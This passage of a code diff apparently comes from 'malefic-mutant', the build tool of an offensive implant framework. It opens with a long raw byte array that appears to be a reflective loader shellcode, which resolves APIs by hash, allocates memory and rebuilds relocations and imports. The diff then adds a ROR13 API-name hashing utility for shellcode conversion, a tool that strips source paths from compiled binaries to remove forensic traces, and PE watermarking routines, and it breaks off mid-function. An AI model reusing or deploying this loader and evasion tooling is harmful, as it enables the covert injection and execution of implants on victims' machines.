0x81, 0x3c, 0x30, 0x50, 0x45, 0x00, 0x00, 0x0f, 0x85, 0x85, 0x04, 0x00, 0x00, 0x01, 0xf0, 0xb9, + 0x55, 0x95, 0xdb, 0x6d, 0x89, 0x44, 0x24, 0x04, 0x0f, 0xb7, 0x40, 0x14, 0x89, 0x44, 0x24, 0x08, + 0xe8, 0xbd, 0xf0, 0xff, 0xff, 0xb9, 0xed, 0xb0, 0xda, 0x1e, 0x89, 0xc3, 0xe8, 0xb1, 0xf0, 0xff, + 0xff, 0x85, 0xdb, 0x0f, 0x84, 0x59, 0x04, 0x00, 0x00, 0x89, 0xc7, 0x85, 0xc0, 0x0f, 0x84, 0x4f, + 0x04, 0x00, 0x00, 0x89, 0xd9, 0xba, 0xdb, 0x2f, 0x07, 0xb7, 0xe8, 0xda, 0xf0, 0xff, 0xff, 0x89, + 0xd9, 0xba, 0xbf, 0xc1, 0xcf, 0xde, 0x89, 0xc5, 0xe8, 0xcc, 0xf0, 0xff, 0xff, 0x89, 0xd9, 0xba, + 0x57, 0xc2, 0x7b, 0x09, 0x89, 0x44, 0x24, 0x0c, 0xe8, 0xbc, 0xf0, 0xff, 0xff, 0x89, 0xd9, 0xba, + 0x0d, 0x50, 0x57, 0xe8, 0x89, 0xc3, 0xe8, 0xae, 0xf0, 0xff, 0xff, 0x89, 0xf9, 0xba, 0x7f, 0xb8, + 0x69, 0x62, 0x89, 0x44, 0x24, 0x18, 0xe8, 0x9e, 0xf0, 0xff, 0xff, 0x89, 0xf9, 0xba, 0xdd, 0x5c, + 0xde, 0x0d, 0x89, 0x44, 0x24, 0x14, 0xe8, 0x8e, 0xf0, 0xff, 0xff, 0x8b, 0x4c, 0x24, 0x04, 0x85, + 0xed, 0x89, 0x6c, 0x24, 0x1c, 0x0f, 0x84, 0xe7, 0x03, 0x00, 0x00, 0x83, 0x7c, 0x24, 0x0c, 0x00, + 0x0f, 0x84, 0xdc, 0x03, 0x00, 0x00, 0x85, 0xdb, 0x0f, 0x84, 0xd4, 0x03, 0x00, 0x00, 0x83, 0x7c, + 0x24, 0x18, 0x00, 0x0f, 0x84, 0xc9, 0x03, 0x00, 0x00, 0x83, 0x7c, 0x24, 0x14, 0x00, 0x0f, 0x84, + 0xbe, 0x03, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xb6, 0x03, 0x00, 0x00, 0x89, 0x44, 0x24, 0x24, + 0x89, 0x7c, 0x24, 0x28, 0x6a, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0xff, 0x71, 0x50, 0xff, 0x71, + 0x34, 0x89, 0xcf, 0xff, 0xd3, 0x85, 0xc0, 0x89, 0xc1, 0x89, 0x04, 0x24, 0x74, 0x08, 0x31, 0xed, + 0x89, 0x5c, 0x24, 0x10, 0xeb, 0x24, 0x6a, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0xff, 0x77, 0x50, + 0x6a, 0x00, 0xff, 0xd3, 0x85, 0xc0, 0x0f, 0x84, 0x76, 0x03, 0x00, 0x00, 0x89, 0xc5, 0x89, 0x5c, + 0x24, 0x10, 0x89, 0xc1, 0x89, 0x04, 0x24, 0x2b, 0x6f, 0x34, 0x8b, 0x4c, 0x24, 0x08, 0x8d, 0x47, + 0x18, 0x89, 0xf2, 0x89, 0x44, 0x24, 0x20, 0x8d, 0x5c, 0x39, 0x18, 0x8b, 0x0c, 0x24, 0xff, 0x77, + 0x54, 0xe8, 0xf2, 0xed, 0xff, 0xff, 0x58, 0x0f, 0xb7, 0x7f, 0x06, 0x83, 0xc3, 0x14, 0x66, 0x83, + 0xef, 0x01, 0x72, 0x18, 0x8b, 0x4b, 0xf8, 0x8b, 0x13, 0x03, 0x0c, 0x24, 0x01, 0xf2, 0xff, 0x73, + 0xfc, 0xe8, 0xd2, 0xed, 0xff, 0xff, 0x58, 0x83, 0xc3, 0x28, 0xeb, 0xe2, 0x85, 0xed, 0x74, 0x55, + 0x8b, 0x44, 0x24, 0x04, 0x83, 0xb8, 0xa4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x48, 0x8b, 0x44, 0x24, + 0x04, 0x8d, 0x88, 0xa0, 0x00, 0x00, 0x00, 0x8b, 0x04, 0x24, 0x8b, 0x09, 0x83, 0x3c, 0x01, 0x00, + 0x74, 0x33, 0x01, 0xc8, 0x8b, 0x50, 0x04, 0x8d, 0x48, 0x04, 0x8d, 0x70, 0x08, 0x83, 0xc2, 0xf8, + 0xd1, 0xea, 0x83, 0xea, 0x01, 0x72, 0xe3, 0x0f, 0xb7, 0x3e, 0x81, 0xff, 0x00, 0x10, 0x00, 0x00, + 0x72, 0x0e, 0x81, 0xe7, 0xff, 0x0f, 0x00, 0x00, 0x8b, 0x18, 0x03, 0x3c, 0x24, 0x01, 0x2c, 0x3b, + 0x83, 0xc6, 0x02, 0xeb, 0xdd, 0x8b, 0x44, 0x24, 0x04, 0x8b, 0x3c, 0x24, 0x8b, 0x98, 0x80, 0x00, + 0x00, 0x00, 0x01, 0xfb, 0x8b, 0x43, 0x0c, 0x85, 0xc0, 0x74, 0x4d, 0x01, 0xf8, 0x50, 0xff, 0x54, + 0x24, 0x20, 0x8b, 0x2b, 0x89, 0x5c, 0x24, 0x08, 0x8b, 0x5b, 0x10, 0x89, 0xc6, 0x85, 0xed, 0x0f, + 0x44, 0xeb, 0x01, 0xfb, 0x01, 0xfd, 0x31, 0xff, 0x8b, 0x44, 0x3d, 0x00, 0x85, 0xc0, 0x74, 0x1c, + 0x78, 0x09, 0x8b, 0x0c, 0x24, 0x8d, 0x44, 0x08, 0x02, 0xeb, 0x03, 0x0f, 0xb7, 0xc0, 0x50, 0x56, + 0xff, 0x54, 0x24, 0x14, 0x89, 0x04, 0x3b, 0x83, 0xc7, 0x04, 0xeb, 0xdc, 0x8b, 0x5c, 0x24, 0x08, + 0x8b, 0x3c, 0x24, 0x83, 0xc3, 0x14, 0xeb, 0xac, 0x8b, 0x44, 0x24, 0x04, 0x83, 0xb8, 0xe4, 0x00, + 0x00, 0x00, 0x00, 0x74, 0x5c, 0x8b, 0x44, 0x24, 0x04, 0x8b, 0x98, 0xe0, 0x00, 0x00, 0x00, 0x01, + 0xfb, 0x8b, 0x43, 0x04, 0x85, 0xc0, 0x74, 0x49, 0x01, 0xf8, 0x50, 0xff, 0x54, 0x24, 0x20, 0x8b, + 0x6b, 0x10, 0x89, 0x5c, 0x24, 0x08, 0x8b, 0x5b, 0x0c, 0x89, 0xc6, 0x01, 0xfd, 0x01, 0xfb, 0x31, + 0xff, 0x8b, 0x44, 0x3d, 0x00, 0x85, 0xc0, 0x74, 0x1c, 0x78, 0x09, 0x8b, 0x0c, 0x24, 0x8d, 0x44, + 0x08, 0x02, 0xeb, 0x03, 0x0f, 0xb7, 0xc0, 0x50, 0x56, 0xff, 0x54, 0x24, 0x14, 0x89, 0x04, 0x3b, + 0x83, 0xc7, 0x04, 0xeb, 0xdc, 0x8b, 0x5c, 0x24, 0x08, 0x8b, 0x3c, 0x24, 0x83, 0xc3, 0x20, 0xeb, + 0xb0, 0x8b, 0x4c, 0x24, 0x04, 0x8d, 0xb4, 0x24, 0x48, 0x01, 0x00, 0x00, 0x0f, 0xb7, 0x41, 0x14, + 0x0f, 0xb7, 0x79, 0x06, 0x8b, 0x4c, 0x24, 0x20, 0x8d, 0x6c, 0x08, 0x0c, 0x66, 0x83, 0xef, 0x01, + 0x72, 0x68, 0x83, 0xa4, 0x24, 0x48, 0x01, 0x00, 0x00, 0x00, 0x8b, 0x4d, 0x18, 0x89, 0xc8, 0x25, + 0x00, 0x00, 0x00, 0x40, 0x0f, 0xba, 0xe1, 0x1d, 0x72, 0x09, 0x85, 0xc9, 0x78, 0x18, 0xc1, 0xe8, + 0x1d, 0xeb, 0x32, 0x85, 0xc9, 0x78, 0x1f, 0x31, 0xc9, 0x85, 0xc0, 0x0f, 0x95, 0xc1, 0xc1, 0xe1, + 0x04, 0x83, 0xc1, 0x10, 0xeb, 0x1d, 0x31, 0xc9, 0x85, 0xc0, 0x0f, 0x94, 0xc1, 0x8d, 0x04, 0x8d, + 0x04, 0x00, 0x00, 0x00, 0xeb, 0x0f, 0x31, 0xc9, 0x85, 0xc0, 0x0f, 0x94, 0xc1, 0xc1, 0xe1, 0x06, + 0x83, 0xc1, 0x40, 0x89, 0xc8, 0x8b, 0x4d, 0x00, 0x03, 0x0c, 0x24, 0x56, 0x50, 0xff, 0x75, 0x04, + 0x51, 0xff, 0x54, 0x24, 0x28, 0x83, 0xc5, 0x28, 0xeb, 0x92, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0xff, + 0xff, 0x54, 0x24, 0x20, 0x8d, 0x5c, 0x24, 0x2c, 0x68, 0x1c, 0x01, 0x00, 0x00, 0x6a, 0x00, 0x53, + 0xe8, 0x96, 0xed, 0xff, 0xff, 0x83, 0xc4, 0x0c, 0x53, 0xff, 0x54, 0x24, 0x28, 0x8b, 0x43, 0x04, + 0xc1, 0xe0, 0x08, 0x0b, 0x43, 0x08, 0x3d, 0x01, 0x05, 0x00, 0x00, 0x0f, 0x84, 0x84, 0x00, 0x00, + 0x00, 0x3d, 0x01, 0x06, 0x00, 0x00, 0x74, 0x71, 0x3d, 0x02, 0x06, 0x00, 0x00, 0x74, 0x6e, 0x3d, + 0x03, 0x06, 0x00, 0x00, 0x74, 0x6b, 0x3d, 0x00, 0x0a, 0x00, 0x00, 0x75, 0x6c, 0x8b, 0x44, 0x24, + 0x38, 0xb1, 0x0f, 0x3d, 0xeb, 0x55, 0x00, 0x00, 0x77, 0x61, 0xb1, 0x0e, 0x3d, 0x60, 0x4a, 0x00, + 0x00, 0x77, 0x58, 0xb1, 0x0d, 0x3d, 0xba, 0x47, 0x00, 0x00, 0x77, 0x4f, 0xb1, 0x0c, 0x74, 0x4b, + 0xb1, 0x0b, 0x3d, 0x62, 0x45, 0x00, 0x00, 0x77, 0x42, 0xb1, 0x0a, 0x3d, 0xed, 0x42, 0x00, 0x00, + 0x77, 0x39, 0xb1, 0x09, 0x3d, 0xaa, 0x3f, 0x00, 0x00, 0x77, 0x30, 0xb1, 0x08, 0x3d, 0xd6, 0x3a, + 0x00, 0x00, 0x77, 0x27, 0xb1, 0x07, 0x3d, 0x38, 0x38, 0x00, 0x00, 0x77, 0x1e, 0x3d, 0x5a, 0x29, + 0x00, 0x00, 0xb1, 0x05, 0x80, 0xd9, 0xff, 0xeb, 0x12, 0xb1, 0x02, 0xeb, 0x0e, 0xb1, 0x03, 0xeb, + 0x0a, 0xb1, 0x04, 0xeb, 0x06, 0xb1, 0x01, 0xeb, 0x02, 0x31, 0xc9, 0x8b, 0x7c, 0x24, 0x38, 0x8d, + 0xac, 0x24, 0x4c, 0x01, 0x00, 0x00, 0x68, 0x1c, 0x01, 0x00, 0x00, 0x53, 0x55, 0x89, 0xcb, 0xe8, + 0xa5, 0xfb, 0xff, 0xff, 0x83, 0xc4, 0x0c, 0x88, 0x9d, 0x1c, 0x01, 0x00, 0x00, 0x89, 0x7d, 0xfc, + 0x56, 0x8b, 0x6c, 0x24, 0x04, 0x55, 0xff, 0x74, 0x24, 0x30, 0xe8, 0xbd, 0xf5, 0xff, 0xff, 0x83, + 0xc4, 0x0c, 0x8b, 0x44, 0x24, 0x04, 0x83, 0xb8, 0xc4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x24, 0x8b, + 0x44, 0x24, 0x04, 0x8b, 0x80, 0xc0, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x16, 0x8b, 0x74, 0x28, + 0x0c, 0x8b, 0x06, 0x85, 0xc0, 0x74, 0x0c, 0x6a, 0x00, 0x6a, 0x01, 0x55, 0xff, 0xd0, 0x83, 0xc6, + 0x04, 0xeb, 0xee, 0x8b, 0x44, 0x24, 0x04, 0x8b, 0x78, 0x28, 0x01, 0xef, 0x6a, 0x04, 0x68, 0x00, + 0x30, 0x00, 0x00, 0x8b, 0x9c, 0x24, 0x94, 0x02, 0x00, 0x00, 0x53, 0x6a, 0x00, 0xff, 0x54, 0x24, + 0x20, 0x8b, 0x94, 0x24, 0x88, 0x02, 0x00, 0x00, 0x89, 0xc6, 0x89, 0xc1, 0x53, 0xe8, 0xc6, 0xea, + 0xff, 0xff, 0x58, 0x8b, 0x9c, 0x24, 0x84, 0x02, 0x00, 0x00, 0x85, 0xdb, 0x74, 0x0c, 0x56, 0x6a, + 0x01, 0x55, 0xff, 0xd7, 0x01, 0xdd, 0xff, 0xd5, 0xeb, 0x08, 0x6a, 0x00, 0x6a, 0x01, 0x6a, 0x00, + 0xff, 0xd7, 0x81, 0xc4, 0x6c, 0x02, 0x00, 0x00, 0x5e, 0x5f, 0x5b, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, + 0xeb, 0xfe, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xe8, 0xeb, 0xff, 0xff, 0xff, 0x0f, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +]; diff --git a/malefic-mutant/src/tool/srdi/utils.rs b/malefic-mutant/src/tool/srdi/utils.rs new file mode 100644 index 0000000..cfd5ca0 --- /dev/null +++ b/malefic-mutant/src/tool/srdi/utils.rs @@ -0,0 +1,26 @@ +use byteorder::{ByteOrder, LittleEndian}; + +pub fn pack(val: u32) -> [u8; 4] { + let mut bytes = [0; 4]; + LittleEndian::write_u32(&mut bytes, val); + bytes +} + +pub fn ror(val: u32, r_bits: u32, max_bits: u32) -> u32 { + let base: u64 = 2; + let exp = base.pow(max_bits) - 1; + ((val & exp as u32) >> r_bits.rem_euclid(max_bits)) + | (val << (max_bits - (r_bits.rem_euclid(max_bits))) & exp as u32) +} + +pub fn hash_function_name(name: &str) -> u32 { + let mut function: Vec = name.as_bytes().to_vec(); + function.extend_from_slice(&[0x00]); + let mut function_hash: u32 = 0; + + for byte in function.iter() { + function_hash = ror(function_hash, 13, 32); + function_hash += *byte as u32; + } + function_hash +} diff --git a/malefic-mutant/src/tool/strip/mod.rs b/malefic-mutant/src/tool/strip/mod.rs new file mode 100644 index 0000000..d6b1f50 --- /dev/null +++ b/malefic-mutant/src/tool/strip/mod.rs @@ -0,0 +1,66 @@ +use crate::log_success; +use regex::bytes::Regex; +use std::fs::{read, write}; + +pub fn strip_paths_from_binary( + input_path: &str, + output_path: &str, + custom_paths: &[String], +) -> anyhow::Result<()> { + let contents = read(input_path)?; + + let mut patterns = vec![ + Regex::new(r"[A-Za-z]:\\[A-Za-z0-9_\\./\\-]*?\.rs") + .expect("Invalid Windows .rs path regex"), + Regex::new(r"/[A-Za-z0-9_\\./\\-]*?\.rs").expect("Invalid unix path regex"), + Regex::new(r"malefic[A-Za-z0-9_\\./\\-]*?\.rs").expect("Invalid relative path regex"), + Regex::new(r"[A-Za-z_-]*\\[A-Za-z0-9_\\./\\-]*?\.rs").expect("Invalid relative path regex"), + ]; + + for custom_path in custom_paths { + patterns.push(Regex::new(®ex::escape(custom_path)).expect("Invalid custom path regex")); + } + + let mut modified_bytes = contents.clone(); + let mut _total_replacements = 0; + + for pattern in patterns { + // println!("Checking pattern: {}", pattern); + + let matches: Vec<_> = pattern.find_iter(&contents).collect(); + + if !matches.is_empty() { + // println!(" Found {} matches:", matches.len()); + // for (i, mat) in matches.iter().enumerate().take(5) { + // let match_str = String::from_utf8_lossy(mat.as_bytes()); + // println!(" [{}] Replacing path: '{}'", i + 1, match_str); + // } + // if matches.len() > 5 { + // println!(" ... and {} more matches", matches.len() - 5); + // } + _total_replacements += matches.len(); + + for mat in matches.iter().rev() { + // Replace from back to front to avoid position offset issues + let start_byte = mat.start(); + let end_byte = mat.end(); + + // Ensure byte position is within valid range + if end_byte <= modified_bytes.len() { + for i in start_byte..end_byte { + modified_bytes[i] = 0; + } + } + } + } else { + // println!("No matches found"); + } + } + + // println!("\nTotal paths replaced: {}", total_replacements); + + // Write to output file + write(output_path, &modified_bytes)?; + log_success!("Stripped paths {} → {}", input_path, output_path); + Ok(()) +} diff --git a/malefic-mutant/src/tool/watermark/methods.rs b/malefic-mutant/src/tool/watermark/methods.rs new file mode 100644 index 0000000..06c3c89 --- /dev/null +++ b/malefic-mutant/src/tool/watermark/methods.rs @@ -0,0 +1,387 @@ +/// Watermark embedding/reading methods for PE files. +/// +/// Four methods: +/// - Checksum: write watermark into PE OptionalHeader.CheckSum field +/// - DosStub: inject data into DOS stub area (between DOS header and PE header) +/// - Section: add a new PE section containing the watermark +/// - Overlay: append watermark data after the last section (simplest) +use anyhow::{anyhow, Result}; +use byteorder::{LittleEndian, ReadBytesExt, WriteBytesExt}; +use std::fs::File; +use std::io::{Read, Seek, SeekFrom, Write}; + +use crate::tool::pe::PEParser; + +/// Watermark method selection. +#[derive(Debug, Clone, Copy)] +pub enum WatermarkMethod { + Checksum, + DosStub, + Section, + Overlay, +} + +impl std::str::FromStr for WatermarkMethod { + type Err = String; + + fn from_str(s: &str) -> std::result::Result { + match s.to_lowercase().as_str() { + "checksum" => Ok(WatermarkMethod::Checksum), + "dosstub" | "dos_stub" | "dos" => Ok(WatermarkMethod::DosStub), + "section" => Ok(WatermarkMethod::Section), + "overlay" => Ok(WatermarkMethod::Overlay), + _ => Err(format!( + "'{}' is not a valid watermark method. Use: checksum, dosstub, section, overlay", + s + )), + } + } +} + +impl std::fmt::Display for WatermarkMethod { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + WatermarkMethod::Checksum => write!(f, "checksum"), + WatermarkMethod::DosStub => write!(f, "dosstub"), + WatermarkMethod::Section => write!(f, "section"), + WatermarkMethod::Overlay => write!(f, "overlay"), + } + } +} + +/// Write watermark into a PE file using the specified method. +pub fn write_watermark( + input_path: &str, + output_path: &str, + method: WatermarkMethod, + watermark: &[u8], +) -> Result<()> { + std::fs::copy(input_path, output_path)?; + + match method { + WatermarkMethod::Checksum => write_checksum(output_path, watermark), + WatermarkMethod::DosStub => write_dosstub(output_path, watermark), + WatermarkMethod::Section => write_section(output_path, watermark), + WatermarkMethod::Overlay => write_overlay(output_path, watermark), + } +} + +/// Read watermark from a PE file using the specified method. +pub fn read_watermark( + input_path: &str, + method: WatermarkMethod, + size_hint: Option, +) -> Result> { + match method { + WatermarkMethod::Checksum => read_checksum(input_path), + WatermarkMethod::DosStub => read_dosstub(input_path, size_hint), + WatermarkMethod::Section => read_section(input_path), + WatermarkMethod::Overlay => read_overlay(input_path, size_hint), + } +} + +// ─── Checksum ─── + +fn write_checksum(output_path: &str, watermark: &[u8]) -> Result<()> { + if watermark.len() > 4 { + return Err(anyhow!( + "Checksum watermark must be <= 4 bytes, got {}", + watermark.len() + )); + } + + let pe_info = PEParser::parse_file(output_path)?; + let mut file = File::options().read(true).write(true).open(output_path)?; + + // CheckSum is at optional header start + 0x40 (64 bytes into optional header) + // optional header starts at pe_header + 4 (PE sig) + 20 (COFF header) + let optional_header_offset = pe_info.pe_header_location as u64 + 4 + 20; + let checksum_offset = optional_header_offset + 64; // 0x40 into optional header + + let mut value = [0u8; 4]; + let copy_len = watermark.len().min(4); + value[..copy_len].copy_from_slice(&watermark[..copy_len]); + + file.seek(SeekFrom::Start(checksum_offset))?; + file.write_all(&value)?; + + Ok(()) +} + +fn read_checksum(input_path: &str) -> Result> { + let pe_info = PEParser::parse_file(input_path)?; + let mut file = File::open(input_path)?; + + let optional_header_offset = pe_info.pe_header_location as u64 + 4 + 20; + let checksum_offset = optional_header_offset + 64; + + file.seek(SeekFrom::Start(checksum_offset))?; + let mut buf = [0u8; 4]; + file.read_exact(&mut buf)?; + + Ok(buf.to_vec()) +} + +// ─── DosStub ─── + +fn write_dosstub(output_path: &str, watermark: &[u8]) -> Result<()> { + let pe_info = PEParser::parse_file(output_path)?; + let mut file = File::options().read(true).write(true).open(output_path)?; + + // DOS header is 64 bytes (0x40), e_lfanew points to PE header + let available = pe_info.pe_header_location as usize - 0x40; + + if watermark.len() > available { + return Err(anyhow!( + "DOS stub has only {} bytes available, watermark is {} bytes", + available, + watermark.len() + )); + } + + // Write at offset 0x40 (right after DOS header) + file.seek(SeekFrom::Start(0x40))?; + file.write_all(watermark)?; + + Ok(()) +} + +fn read_dosstub(input_path: &str, size_hint: Option) -> Result> { + let pe_info = PEParser::parse_file(input_path)?; + let mut file = File::open(input_path)?; + + let available = pe_info.pe_header_location as usize - 0x40; + let read_size = size_hint.unwrap_or(available).min(available); + + file.seek(SeekFrom::Start(0x40))?; + let mut buf = vec![0u8; read_size]; + file.read_exact(&mut buf)?; + + Ok(buf) +} + +// ─── Section ─── + +/// Section header info parsed from PE. +struct SectionHeader { + name: [u8; 8], + virtual_size: u32, + virtual_address: u32, + size_of_raw_data: u32, + pointer_to_raw_data: u32, +} + +fn parse_section_headers( + file: &mut File, + pe_header: u32, + num_sections: u16, + optional_header_size: u16, +) -> Result> { + // Section table starts after optional header + let section_table_offset = pe_header as u64 + 4 + 20 + optional_header_size as u64; + file.seek(SeekFrom::Start(section_table_offset))?; + + let mut sections = Vec::with_capacity(num_sections as usize); + for _ in 0..num_sections { + let mut name = [0u8; 8]; + file.read_exact(&mut name)?; + let virtual_size = file.read_u32::()?; + let virtual_address = file.read_u32::()?; + let size_of_raw_data = file.read_u32::()?; + let pointer_to_raw_data = file.read_u32::()?; + // Skip: PointerToRelocations(4) + PointerToLinenumbers(4) + NumberOfRelocations(2) + NumberOfLinenumbers(2) + Characteristics(4) = 16 bytes + file.seek(SeekFrom::Current(16))?; + + sections.push(SectionHeader { + name, + virtual_size, + virtual_address, + size_of_raw_data, + pointer_to_raw_data, + }); + } + + Ok(sections) +} + +fn align_up(value: u32, alignment: u32) -> u32 { + if alignment == 0 { + return value; + } + (value + alignment - 1) & !(alignment - 1) +} + +fn write_section(output_path: &str, watermark: &[u8]) -> Result<()> { + let pe_info = PEParser::parse_file(output_path)?; + let mut file = File::options().read(true).write(true).open(output_path)?; + + let sections = parse_section_headers( + &mut file, + pe_info.pe_header_location, + pe_info.number_of_sections, + pe_info.size_of_optional_header, + )?; + + let file_alignment = pe_info.file_alignment; + let section_alignment = pe_info.section_alignment; + + // Check if there's room for a new section header (40 bytes) + let section_table_offset = + pe_info.pe_header_location as u64 + 4 + 20 + pe_info.size_of_optional_header as u64; + let section_table_end = section_table_offset + (pe_info.number_of_sections as u64) * 40; + let new_header_end = section_table_end + 40; + + // headers must fit within SizeOfHeaders + if new_header_end > pe_info.size_of_headers as u64 { + return Err(anyhow!( + "No room for new section header: need {} but SizeOfHeaders is {}", + new_header_end, + pe_info.size_of_headers + )); + } + + // Calculate new section placement + let last_section = sections + .last() + .ok_or_else(|| anyhow!("PE has no sections"))?; + let new_raw_offset = align_up( + last_section.pointer_to_raw_data + last_section.size_of_raw_data, + file_alignment, + ); + let new_raw_size = align_up(watermark.len() as u32, file_alignment); + let new_virtual_address = align_up( + last_section.virtual_address + last_section.virtual_size, + section_alignment, + ); + let new_virtual_size = watermark.len() as u32; + + // Write section header at section_table_end + file.seek(SeekFrom::Start(section_table_end))?; + + // Name: ".wmark\0\0" + let section_name: [u8; 8] = *b".wmark\0\0"; + file.write_all(§ion_name)?; + file.write_u32::(new_virtual_size)?; // VirtualSize + file.write_u32::(new_virtual_address)?; // VirtualAddress + file.write_u32::(new_raw_size)?; // SizeOfRawData + file.write_u32::(new_raw_offset)?; // PointerToRawData + file.write_u32::(0)?; // PointerToRelocations + file.write_u32::(0)?; // PointerToLinenumbers + file.write_u16::(0)?; // NumberOfRelocations + file.write_u16::(0)?; // NumberOfLinenumbers + file.write_u32::(0x40000040)?; // Characteristics: INITIALIZED_DATA | READ + + // Update NumberOfSections + let num_sections_offset = pe_info.pe_header_location as u64 + 4 + 2; // after PE sig + Machine + file.seek(SeekFrom::Start(num_sections_offset))?; + file.write_u16::(pe_info.number_of_sections + 1)?; + + // Update SizeOfImage + let new_size_of_image = align_up(new_virtual_address + new_virtual_size, section_alignment); + let optional_header_offset = pe_info.pe_header_location as u64 + 4 + 20; + let size_of_image_offset = optional_header_offset + 56; // 0x38 into optional header + file.seek(SeekFrom::Start(size_of_image_offset))?; + file.write_u32::(new_size_of_image)?; + + // Write section data at new_raw_offset + file.seek(SeekFrom::Start(new_raw_offset as u64))?; + file.write_all(watermark)?; + + // Pad to file alignment + let padding = new_raw_size as usize - watermark.len(); + if padding > 0 { + file.write_all(&vec![0u8; padding])?; + } + + Ok(()) +} + +fn read_section(input_path: &str) -> Result> { + let pe_info = PEParser::parse_file(input_path)?; + let mut file = File::open(input_path)?; + + let sections = parse_section_headers( + &mut file, + pe_info.pe_header_location, + pe_info.number_of_sections, + pe_info.size_of_optional_header, + )?; + + // Find .wmark section + let wmark_section = sections + .iter() + .find(|s| &s.name[..6] == b".wmark") + .ok_or_else(|| anyhow!("No .wmark section found in PE file"))?; + + file.seek(SeekFrom::Start(wmark_section.pointer_to_raw_data as u64))?; + let mut buf = vec![0u8; wmark_section.virtual_size as usize]; + file.read_exact(&mut buf)?; + + Ok(buf) +} + +// ─── Overlay ─── + +fn write_overlay(output_path: &str, watermark: &[u8]) -> Result<()> { + let mut file = File::options().read(true).write(true).open(output_path)?; + + // Write marker + size + watermark data at end of file + // Format: [WMRK (4 bytes)] [size: u32 LE] [watermark data] + file.seek(SeekFrom::End(0))?; + file.write_all(b"WMRK")?; + file.write_u32::(watermark.len() as u32)?; + file.write_all(watermark)?; + + Ok(()) +} + +fn read_overlay(input_path: &str, size_hint: Option) -> Result> { + let mut file = File::open(input_path)?; + let file_size = file.metadata()?.len(); + + if let Some(hint) = size_hint { + // Read last `hint` bytes as raw overlay + let offset = file_size.saturating_sub(hint as u64); + file.seek(SeekFrom::Start(offset))?; + let mut buf = vec![0u8; hint]; + file.read_exact(&mut buf)?; + return Ok(buf); + } + + // Search for WMRK marker from end + // Format: [WMRK (4)] [size (4)] [data (size)] + // So metadata is at file_end - data_size - 8 + // We need to scan backwards for the marker + if file_size < 8 { + return Err(anyhow!("File too small to contain overlay watermark")); + } + + // Try reading from expected positions — scan last 64KB for marker + let scan_start = file_size.saturating_sub(65536); + file.seek(SeekFrom::Start(scan_start))?; + let mut scan_buf = vec![0u8; (file_size - scan_start) as usize]; + file.read_exact(&mut scan_buf)?; + + // Find last occurrence of "WMRK" + let marker = b"WMRK"; + let mut found_pos = None; + for i in (0..scan_buf.len().saturating_sub(7)).rev() { + if &scan_buf[i..i + 4] == marker { + found_pos = Some(i); + break; + } + } + + let pos = found_pos.ok_or_else(|| anyhow!("No WMRK overlay marker found"))?; + + // Read size (4 bytes after marker) + let size_bytes 